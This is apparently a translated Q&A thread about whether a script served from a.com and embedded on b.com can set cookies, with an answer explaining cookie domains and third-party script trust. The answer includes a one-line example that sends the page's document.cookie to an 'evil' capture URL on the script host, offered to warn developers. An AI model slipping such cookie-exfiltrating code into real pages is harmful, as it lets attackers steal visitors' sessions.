第三方脚本可以设置第一方cookie吗?

时间:2013-11-24 01:30:11

标签: javascript cookies cross-domain same-origin-policy

我在网上看了很多关于cookies的内容,但没有解决这个问题:假设我在a.com上有一台服务器,b.com服务的网页在该网页上嵌入了一个脚本我的服务器:

<script src='a.com/script.js'></script>

在设置Cookie方面,该脚本允许执行哪些操作?可以使用domain=a.com设置Cookie吗?我假设是因为脚本是从该域提供的。是否也可以使用domain=b.com设置cookie,因为该页面是从该服务器提供的?

我试图了解在我的脚本从另一个主机的网页调用的上下文中“第一方”和“第三方”的含义。

1 个答案:

答案 0 :(得分:4)

我不相信.js文件的来源是相关的。 cookie域与正在呈现的文档的域有关。

如果我访问http://www.b.com/并且包含

<script src="http://www.a.com/some/file.js"></script>

然后b.com信任a.com的代码以善意行事。代码作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此它可以从b.com读取Cookie并通过在src包含数据的文档中创建标记来传递该数据。

例如,如果a.com的javascript文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");

然后a.com的恶意网站管理员可以检查他的网络服务器日志并查看b.com的cookie。

所以,问题是,如果a.com是恶意的,为什么b.com会在他们的页面中包含来自a.com的代码?他们可能没有。作为Web开发人员,我们需要验证我们在网站中嵌入的任何第三方代码的可信度。